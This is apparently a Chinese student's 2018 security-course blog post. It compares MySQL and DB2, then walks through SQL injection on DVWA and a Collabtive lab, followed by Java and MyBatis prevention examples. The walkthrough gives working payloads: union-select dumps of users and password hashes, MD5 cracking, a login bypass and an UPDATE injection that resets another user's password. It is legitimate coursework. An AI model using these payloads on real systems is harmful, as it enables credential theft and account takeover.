2017-2018-2 20179207 《网络攻防技术》第十一周作业

  • 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究
    
  • 针对不同数据类型,研究SQL注入点的发现与注入技术
    
  • 研究缓冲区溢出的防范方法,至少针对两种编程语言进行差异化研究
    
  • 至少使用两种数据库注入攻击工具
    

数据库基础

数据库的比较mysql和db2

1.账号管理方式

MySQL账号管理的方式与Oracle类似,由MySQL自己管理,账号存储在MySQL数据库的user表中,其账号的组成是有ip地址+用户名组成,而DB2没有自己的用户体系,其认证完全依赖于操作系统的账号。

2.权限管理方式

MySQL的权限管理方式与DB2权限管理方式上相同的地方就是都可以对单独的对象进行授权,都可以做到细粒度的授权。不同之处就是MySQL在账号安全上更胜一筹,其账号组成是由用户名加ip地址构成,也就是说其鉴权需要同时验证用户登录的ip和用户名的合法性,而db2只对连接的账号进行鉴权。MySQL的另一个优点就是对最小单元的对象可以批量进行授权,DB2则不能,相对比较繁琐,这也是DB2需要改进的地方之一。

3.日志管理方式

MySQL数据库使用日志双写的方式来保证数据的完整性与可恢复性,MySQL的事务日志与归档日志两个独立的对象,没有任何因果关系。DB2数据库的归档日志是有事务日志产生的。所以在UDI操作上MySQL数据库的性能要比DB2差一些。

4.锁的管理方式

MySQL使用MVCC模型实现锁的并发控制,DB2使用内存模型实现了锁的并发控制,在并发处理、处理资源冲突上讲MySQL的并发处理能力、锁冲突的方式上要优于DB2。

5.schema的管理方式

MySQL数据库严格意义上讲没有schema的概念,其每个schema相当于独立的一个数据库。db2数据库可以在一个数据库能创建多个schema。这也是MySQL在schema方面存在的不足及需要改进的地方。

6.表空间的管理方式

MySQL数据库在5.6之后才有了表空间的概念,但其在表空间的使用方式上还是与企业级数据库相差很大。MySQL数据库在表空间上支持相对较弱,存在很多的局限性,在条带化及空间的管理上存在软肋。DB2在这些方面做得都十分完善,而且非常健壮易于维护,这些都是MySQL需要加强向企业数据库学习的地方。

7.事物行为的处理方式

MySQL数据库默认在处理事务相关的操作时只是回退上一条语句的状态,而整个事务实际上没有完成(提交或者回滚),而是交由应用程序在检测到这个错误时,选择是提交或者回滚整个事务。DB2数据库对事务的处理方式是当DB2数据库在因锁超时或者其他问题导致异常后,对整个事务进行回滚,而不是回滚到上一个保存点,这是需要特别关注的地方。

8.数据备份的管理方式

MySQL的备份方式很多,但是开源社区备份工具在支持在线备份功能上和易用性上非常差。DB2数据库在这方面做得非常完善、严谨且易用,这也是MySQL需要向DB2数据库学习的地方。

9.数据恢复的管理方式

MySQL数据库恢复的方式十分特别,可以在恢复或者前滚的过程中打开数据,检查数据,若需要继续前滚可以做到继续执行前滚动作,这是MySQL数据库的一个优点也是其在其他商用数据库厂商看来做的很屌丝的地方。DB2数据库在数据库的恢复管理方式上是非常严谨的,在前滚或者恢复的过程中为了保证数据的完整性与一致性不被破坏,不能够打开数据库。在笔者看来这是一个优点也是一个缺点,优点是入门简单,缺点是灵活性差,无法知道我们要恢复到时刻点,是否有我们需要的数据。

10.SQL功能比较

MySQL对复杂的SQL支持性较差,很多jion方式支持上做的不够好,DB2在复杂SQL支持方面十分强大,而且提供了多种jion方式来保证和提升数据的存取效率。这一点是MySQL需要向DB2学习的地方。

11.DDL操作比较

MySQL支持在任意位置加列,以适应业务需求;同时也支持在线的DDL以保证业务的连续性。以上这些功能DB2都不支持。

12.语法差异

MySQL默认使用大小写敏感的数据库名、表名和列名(可以通过lower_case_table_names参数控制是否大小写敏感),DB2数据库对大小写不敏感。

虽然MySQL与DB2都遵循并符合SQL92标准且大多数SQL相互兼容,但是在一些细节的实现上有一些不同的地方。比如:MySQL取符合条件的前几行数据上使用limit语法,DB2则使用fetch语法等。

13.高可用与容灾设计

MySQL在高可用及容灾方面有非常多的方案,MySQL原生支持多种架构、复制方案来完成据库的高可用及容灾需求如MHA、PXC及MMM等,而且非常灵活、可根据业务需求进行个性化定制、二次开发,几乎零成本。DB2在这方面只有HADR方案且成本高昂。

14.可扩展性

MySQL在集群方面也有非常多的解决方案,如Cobar、Atlas、Fabric、Amoeba、TDDL、Mycat而且可以进行定制或者进行二次开发,可根据业务需求进行灵活扩展。DB2在这方面目前只有PureScale一种解决方案,灵活性较差,这也是DB2需要想MySQL学习的地方。

熟悉sql语句

(1)使用dvwa数据库

use dvwa;

(2)在users表里查询用户名为‘admin’的所有信息

select * from users where user='admin';

上面有三个要点

  1. '*':通配符表示匹配所有内容,也就是来者不拒
  2. 'where':关键字作为条件限定。
  3. 在数据库中字符串时一般由单引号包住的,在这里,select是从数据库检索数据的

(3)我们来看一下select语句另外一面,其实它相当于我们编程语言的输出语句。

select 'hello world!';

(4)倘若我们有多个数据要输出怎么办,这个时候可以使用“,”来分隔每个内容。

select user,user_id from users where user='admin';

扩展
当我们想要像上面只是输出多项数据,而不是检索数据的时候

select 'hello','world';
select 1,2,3;

(5)union 联合

就是将union前面那堆数据,和后面那堆数据放在一起,以便能在一个表显示。注意什么叫放在一起呢?

请看例子:

select 1,2,3 union select 4,5,6;

解析,我们知道select 1,2,3是输出三个数字,分别为1,2,3。后面的select也是一样输出3个数字。

要是后面的输出的数据数目不一致,那么则会导致下列的错误

The used SELECT statements have a different number of columns

而这个则是我们之后进行sql注入的一个点

(6)我们接着继续来学习一个内容order by,这个是让我们检索出来的数据进行升序或者降序排列的。

select user,user_id from users order by user;

在这里我们,介绍一个概念就是“字段”。字段也就是一个表里面的数据列,每一个字段表示一列。如我们这里,我们select语句检索user,user_id两个数据列。当我们使用order by user的时候,会根据user数据列的的每一个数据的来进行排序,默认是升序asc。

我们看一下

select user,user_id from users order by user_id;

可以看到user_id的顺序是递增的。要是递减的话,可以使用desc。

这里还有一个小tips就是:

我们除了使用字段名来作为order by的条件外,还可以使用数字。

1表示的第一个字段

2表示的第二个字段

如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误。
unknown column name xx

sql注入点

sql注入类型

1.字符型

1、测试和分析页面的功能
我们可以看到这里有一个输入框,根据上面的提示是,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入“1”

这里可以看到它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。

同时,我看一下浏览器的地址栏那里,可以发现url成这样了

http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

我们可以看到这里有个id=1的东东,是不是就是我们输入的user id呢?
这里我们输入“2”,发现url变成了

http://localhost/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

好了,到这里,我们可以得出这里穿进去的id的值使我们可控的。我们输入的什么,则会通过id传进去!

2、对id这个参数进行测试,查看一下它是否存在sql注入漏洞!
这里我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。
可以发现,这里报错了。说我们的sql语句出现语法错误。

这里我们可以进行一个猜测,首先它这个id是被两个'包住的。查询语句可能像这样
select firstname,surname from users where id = '1';
当我们在1之后加了一个引号,则会导致单引号数目不平衡,那时查询语句如下。
select firstname,surname from users where id = '1'';
可以看到最后一个引号没被闭合,那我们该怎么办呢?
这个时候有好几种办法,
(1)我们在原来的基础上再继续输入多一个引号,也就是“1''”。
这时候我们看一下查询语句
select firstname,surname from users where id = '1''';
这时候得讲一个mysql的语法,

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
我们来看几个例子。
第一个是和我们上面类似的sql查询语句
select * from users where user_id = '1''';
第二个是来阐明我们这个优先级的,
select * from users where user_id = '1''2';
可以看到,出来的结果还是和user_id=1一样。
我们再看一个长长的,
select * from users where user_id = '1''2''abc''efg';
事实胜于雄辩,可以看到结果还是和上面的一样。

(2)第二种方法是使用“#”符号来注释后面的单引号
到时查询语句将会变成这样,
select firstname,surname from users where id = '1'#';
(3)第三种方法是使用“-- ”,这里注意了“--”后面有一个空格。在url当中,我们需要使用“+”来代替“--”后面的空格。
到时查询语句将会变成这样,
select firstname,surname from users where id = '1'-- ';

好了,我们回到我们的测试页面。发现出来的结果和输入1一样。
到这里我们可以知道了
[1]漏洞的参数是“id”
[2]漏洞的类型是字符型

3、好了,我们在确认漏洞之后,需要进行构造payload了。
什么是payload?
就是一段恶意代码,以便我们能够获得数据里面的数据。
(1)分析字段数
基本的话,他也是有两种方法的
[1]分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。
那么,这里,我留下一个问题:为什么我这里能够猜想到用union的办法来获得数据呢?
(提示:这个页面的功能的是什么?)
根据上面我们的order by知识知道,要是后面跟着的数字超出了字段数的时候,则会报错!通过这个我们可以确定字段数。
我们构造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
当输入到3的时候,发现它报错了。也就是字段数为2

[2]第二种方法就是直接用union select来猜测字段数,因为当字段数不对应的时候,它也是会发生报错的!
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以发现,当union select 1,2的时候没有报错,也就是字段数为2。同时,我们也应该注意到,好像返回的内容多了三条数据,这是啥呢?

这就是我们我们union select出来的数据了。我们获取数据的信息,就通过将1,2换成数据的信息,这样通过查看页面,我们便可以获得了!
Tips:当字段数较少的时候无所谓,字段数一多起来,你就傻了。下一节课的hack with python。我们将会编写脚本去做这些无谓的工作

(2)字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!
1、获取当前数据库名字,当前用户名
1' union select database(),user()#
这里解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
好的,这里我们看到
当前数据库为:dvwa
当前用户名:root@localhost

类似的函数:version() 获取当前数据库版本
Tips:有时候,后面的select语句会限制输出的行数,通过limit 1,所以我们一般来说,都会让原数据库查询无效,也就是输入无效的id。
如下:
-1' union select database(),user()#
这样就只会返回我们的数据了
2、好了我们的目的的是获取当前的用户表,所以继续构造payload。
根据上面的信息,我们知道当前数据库名为dvwa。可是还不够呀!表名是什么呀?

当然,是users表啦!
那之后呢?不是说还有一个columns表么?
那我们需要什么?需要table_name以及table_schema
那我们查什么呢?column_name

这次我们的构造的payload如下
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
这里说一下,倘若不指定数据库名为'dvwa',若是其他数据里面也存在users表的话,则会有很多混淆的数据。

又来了,(๑ŐдŐ)b,好多数据呀!我们对那个感兴趣呢??
当然是user,password啦!两个字段刚刚好
好的,我们再次修改payload
-1' union select user,password from users#


Binggo!我们注出所有用户名和密码值,等等!这密码好像有点奇葩,数一数,32位!
这里的密码是经过md5加密的,好不容易注入出管理账号和密码,但是密码加密了
没办法了吗?不一定!
Tips:小子,谁叫你遇上了我呢!看我乾坤大挪移
这个时候,我们需要找一些md5破解的网站,来进行破解!
好了,我比较喜欢的是这个Click
好,我们这里选择的是pablo的这个进行破解,md5密文为:0d107d09f5bbe40cade3de5c71e9e9b7

可以看到密码已经被破解出来了,密码是“letmein”,我们验证一下!
看,这个时候我们已经成功登陆了!

2.数字型

1、还是来到我们SQL injection这里,可以看到这里还是和上次一样,给出一个输入框,让我们输入ID的数值,然后返回对应ID的firstname,surname这两个信息。
[1]当我们输入正常的数字1的时候,可以看到返回对应数据

[2]当我们输入“1'”的时候,可以看到有报错信息。也就是说用户的输入没有被正当的处理,从而引起数据库的语法错误,看起来有戏!


同时我们仔细观察一下,我们输入的“'”被“\”转义了,变成了这样子“'”。也就说这里,应用程序进行的过滤应该是利用php里面addslashes类似的函数,这个函数会处理四个数据。分别是单引号【'】、双引号【"】、反斜杠【\】、空字符【null】。
[3]这里我们继续测试,看一看是不是用了类似的函数
测试数据:
(1) “1"”

(2)“1\”

(3)“%00”注意因为我们没办法用键盘输入空字符,但是可以在url上使用%00来表示,所以才会有地址栏上的%00

(4)测试一下其他的字符,“-”、“&”。可以发现虽然也是报错了,可是并没有出现转义字符

2、这个时候我们思考一下,要是字符型的注入点,我们的输入单引号已经被转义,按道理来说不应该出现报错的信息。
首先还是选择数据库为dvwa
use dvwa;
这里我们在本地数据库测试一下。
select * from users where user_id = '1'';


可以看到当我们的输入语句带上转义的单引号时,不但没有报错还能查询成功。
(1)不报错的原因是,这里的单引号已经被转义,从而整个字符串的值为 1'
(2)那为什么会查询成功呢?
这里涉及的知识是强制类型转换,我们先来看一下表的定义
describe users;

可以看到user_id这个类型是int整型,当我们的查询像上面的一样的时候,mysql会将字符串强制类型转换成int类型,但是这种转换是有缺陷的!
下面给出三个例子,大家感受一下!
select * from users where user_id = '1abdc';

select * from users where user_id = 'abdc';

select * from users where user_id = '2abdc';


上面的例子中,第二个因为一开始没有数字,所以在转换类型的时候,会转换成0。
具体可以看一下这个例子。

3、根据上面两部分的分析,我们可以知道这次我们传进去的数据并不是被包裹在单引号或者双引号里面的,这时候我们得介绍第二种类型的注入点了,数字型注入。
(1)测试,说明是数字型,那我们来进行简单的加减运算就可以知道它是否存在注入点了。
测试:在输入框里面
[1]输入2的时候,反馈的是ID为2的用户信息
[2]输入1+1的时候,反馈和2的结果一样。也就是说明这里存在注入点。类似的也可以使用减号“-”、“*”、“/”这些运算符号。


PS:但是这里需要注意的是,在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”。

二、构造payload
简单说明:其实数字型注入就是我们的数据不需要再闭合单引号可以直接注入到查询中。所以之后构造payload部分很大程度和字符型一样。

1、猜测字段数
这里使用order by 来猜测
Payload:
1 order by 1
1 order by 2
1 order by 3


可以发现在3的时候,出现错误。因而可以得出字段数为2

2、之后的过程和字符型注入一样,只不过是去掉了Payload前面的单引号以及最后面的注释符号。要是有疑惑的可以看上一篇文章。不过这里要重点的提一下,要是我们想要使用字符串的话,可以有两种方法。

[1]使用字符串的十六进制来表示,例如admin转化为十六进制,为“61646D696E”

然后我们之后在十六进制前加上0x61646D696E

我们构造的payload像这样即可
select * from users where user = 0x61646D696E;

[2]使用char函数,但这里char函数使用的参数是十进制的ascii数值。比如admin
CHAR(97, 100, 109, 105, 110)
构造的payload像这样即可
select * from users where user = CHAR(97, 100, 109, 105, 110);

3、这里构造最终的payload
获取数据库名:
-1 union select 1,database()

获取表名:

-1 union select table_name,2 from information_schema.tables where table_schema = database()

获取users表的列名
-1 union select column_name,2 from information_schema.columns where table_schema = database() and table_name = 0x7573657273

获取数据表内容
-1 union select user,password from users;

4、好了又到去MD5网站破解密码的时候,小伙伴兴奋否,又是一次验证自己成果的时候。
这里我们选择用户名为1337的用户,好!

编程语言

mysql+php

参见后面的phpbb实践。

MyBatis+java防御举例
  1. 使用JDBC时,SQL语句进行了拼接

    使用statement的executeQuery、execute、executeUpdate等函数时,传入的SQL语句拼接了来自外部的不可信参数。

    错误示例
    String userName = ctx.getAuthenticatedUserName(); //this is a constant
    //itemName是外部读入的参数拼接到SQL语句
    String sqlString = "SELECT * FROM t_item WHERE owner='" + userName + "' AND itemName='" + request.getParameter("itemName") + "'";
    stmt = connection.createStatement();
    rs = stmt.executeQuery(sqlString);

    解决方法 1) 使用预编译方式(不可信数据作为字段值); 2) 对拼接到SQL语句中的外部参数进行白名单校验(不可信数据作为表名,字段名,排序方式)。

    正确示例:使用白名单校验方式校验itemName
    String userName = ctx.getAuthenticatedUserName(); //this is a constant
    String itemName=getCleanedItemName(request.getParameter("itemName"));
    String sqlString = "SELECT * FROM t_item WHERE owner='" + userName + "' AND itemName='" + itemName + "'";
    stmt = connection.createStatement();
    rs = stmt.executeQuery(sqlString);

    使用connection的PreparedStatement时,使用的SQL语句拼接了来自外部的不可信参数。

    错误示例
    String userName = ctx.getAuthenticatedUserName(); //this is a constant
    //itemName是外部读入的参数拼接到SQL语句
    String itemName = request.getParameter("itemName");
    // ...Ensure that the length of userName and itemName is legitimate
    // ...
    String sqlString = "SELECT * FROM t_item WHERE owner=? AND itemName='"+itemName+"'";

    PreparedStatement stmt = connection.prepareStatement(sqlString);
    stmt.setString(1, userName);
    rs = stmt.executeQuery();

    解决方法 1) 将拼接方式改为占位符方式; 2). 对拼接到SQL语句中的外部参数进行白名单校验。

    正确示例:所有的参数使用占位符

    String userName = ctx.getAuthenticatedUserName(); //this is a constant
    String itemName = request.getParameter("itemName");
    // ...Ensure that the length of userName and itemName is legitimate
    // ...
    String sqlString = "SELECT * FROM t_item WHERE owner=? AND itemName=?";

    PreparedStatement stmt = connection.prepareStatement(sqlString);
    stmt.setString(1, userName); // jdbc编号从1开始
    stmt.setString(2, itemName);
    rs = stmt.executeQuery();

    存储过程使用动态方式构建SQL语句,导致SQL注入风险。

    错误示例

    REATE PROCEDURE sp_queryItem
    @userName varchar(50),
    @itemName varchar(50)
    AS
    BEGIN
    DECLARE @sql nvarchar(500);
    SET @sql = 'SELECT * FROM t_item
    WHERE owner = ''' + @userName + '''
    AND itemName = ''' + @itemName + '''';
    EXEC(@sql);
    END
    GO

    解决方法 采用参数化查询的方式

    正确示例

采用参数化查询的方式
CREATE PROCEDURE sp_queryItem
@userName varchar(50),
@itemName varchar(50)
AS
BEGIN
SELECT * FROM t_item
WHERE userName = @userName
AND itemName = @itemName;
END
GO

  1. 使用Hibernate时,调用API时,传入的SQL语句有拼接外部参数

    调用createQuery时,传入的SQL语句拼接了来自外部的不可信参数。

    错误示例
    //SQL语句拼接不可信参数
    String itemName = request.getParameter("itemName");
    Query hqlQuery = session.createQuery("from Item as item where item.itemName = '" + itemName + "'");
    List hrs = (List) hqlQuery.list();

    解决方法 1) 对拼接到SQL语句中的外部参数进行白名单校验; 2) 使用hibernate的配置映射关系方式。

    正确示例:对外部参数进行白名单校验
    String itemName = request.getParameter("itemName");
    itemName=getCleanedItemName(itemName);//白名单校验
    Query hqlQuery = session.createQuery("from Item as item where item.itemName = '" + itemName + "'");
    List hrs = (List) hqlQuery.list();

  2. 使用MyBatis时,SQL语句使用$占位符

    配置文件使用$占位符

    错误示例:

    // 使用$,底层将使用简单拼接

SELECT * FROM t_item WHERE owner = $userName$ AND itemName = $itemName$

解决方法 1) 将$占位符改为#占位符; 2) 如果外部不可信数据作为表名,字段名,排序方式,则对外部参数进行白名单校验。

**正确示例**:使用#占位符方式

     SELECT * FROM t_item WHERE owner = #userName# AND itemName =#itemName#


mybatis接口中的函数标签的SQL语句,使用了$占位符

**错误示例**
public interface IUserDAO { 
 //标注中的SQL语句通过$表示占位符,内部实现是单纯的拼接
@Select("select *from User where id=${id}) 
    User getUser(@Param("id")String id);
}

**正确示例**:标注中的SQL语句通过'#'表示占位符,内部实现是参数化预处理
public interface IUserDAO { 
@Select("select *from User where id=#{id}) 
   User getUser(@Param("id")String id);
}

数据库注入实践

Collabtive 系统 SQL 注入实验

环境搭建

(1)启动mysql数据库


(2)启动apache服务器


(3)配置DNS服务

sudo vim /etc/hosts

(4)配置web文件

sudo vim /etc/apache2/conf.d/lab.conf

sudo service apache2 restart  重启服务

(5)关闭php配置策略

sudo vim /etc/php5/apache2/php.ini

关于magic_quotes_off函数:

对于magic_quotes_gpc=on的情况, 我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示;

如果此时你对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

对于PHP magic_quotes_gpc=off 的情况

必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

实验内容

(1)select语句的sql注入

访问:www.sqllabcollabtive.com;当我们知道用户而不知道到密码的时候,我们可以怎么登陆?

查看登陆验证文件:

sudo vim /var/www/SQL/Collabtive/include/class.user.php

修改完后重启一下服务器:

sudo sudo service apache2 restart

我们在$user后面加上) # 这样就会只验证用户名,后面的会被#注释

点击登陆以后,我们就可以绕过密码直接登录:

问题:

登陆用户名:admin') union update user set name='test' #

登陆密码:随意的字符

登陆失败

原因解释

MySQL机制:update不支持union语法。

(2)update语句的sql注入

我们可以找到如下的代码:

function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
          $zip, $gender, $url, $address1, $address2, $state,
          $country, $tags, $locale, $avatar = "", $rate = 0.0)
{
$name = mysql_real_escape_string($name);
$realname = mysql_real_escape_string($realname);

//modified for SQL Lab
//$company = mysql_real_escape_string($company);
$email = mysql_real_escape_string($email);

// further escaped parameters removed for brevity...

$rate = (float) $rate;
$id = (int) $id;

if ($avatar != "")
    {
        $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                            tel1='$tel1', tel2='$tel2', company='$company',
                            zip='$zip', gender='$gender', url='$url',
                            adress='$address1', adress2='$address2',
                            state='$state', country='$country',
                            tags='$tags', locale='$locale',
                            avatar='$avatar', rate='$rate' WHERE ID = $id");
    }
else
    {
        // same query as above minus setting avatar; removed for
        // brevity
    }
if ($upd)
    {
        $this->mylog->add($name, 'user', 2, 0);
        return true;
    }
else
    {
        return false;
    }
}

发现sql语句为:SELECT ID WHERE name='$user',并且company的位置是存在注入漏洞,原理同实验一。

这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;

在编辑用户的位置:user 填 ted 用户; Company 处填:

', pass = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '

注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;

点击修改,然后我们退出当前用户,使用ted用户登录,这个时候ted用户的密码修改为了pass。

防御策略

SQL注入漏洞的根本问题是数据与代码的分离失败,因此我们可以针对这个原因进行防御。

防御策略1

防御转义特殊字符使用,默认开启magic_quotes_gpc,将magic_quotes_gpc值设为On。

防御策略2--避免使用特殊字符

MySQL提供一个函数 mysql_real_escape_string(),这个函数可以用来过滤一些特殊字符;如\x00, \n, \r, , ', " and \x1a;

防御策略3--数据与sql语句的分离

通过SQL逻辑分离来告诉数据库到底是哪部分是数据部分,哪一部分是SQL语句部分。

sqlmap自动化注入

https://blog.csdn.net/pygain/article/details/52769165

phpbb

利用web应用程序的输入验证不完善漏洞,使得web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。

SQL注入攻击步骤:

  • 发现SQL注入点
  • 判断后台数据库类型
  • 后台数据库中管理员用户口令字猜解
  • 上传ASP后门,得到默认账户权限
  • 本地权限提升
  • 利用数据库扩展存储过程执行Shell命令
    SQL注入攻击工具:
  • Wposion 能在动态web文档中找出SQL注入漏洞
  • wieliekoek.pl以网站镜像工具生成的输入为输出,对表单页面注入字符串修改
  • SPIKE Proxy 对待注入的字符串进行定制
  • SPI Toolkit工具包

SQL注入攻击防范:

  • 使用类型安全的参数编码机制
  • 完备检查来自外部的用户输入
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接

posted @ 2018-05-20 17:06  Katherina.K  阅读(452)  评论(0编辑  收藏  举报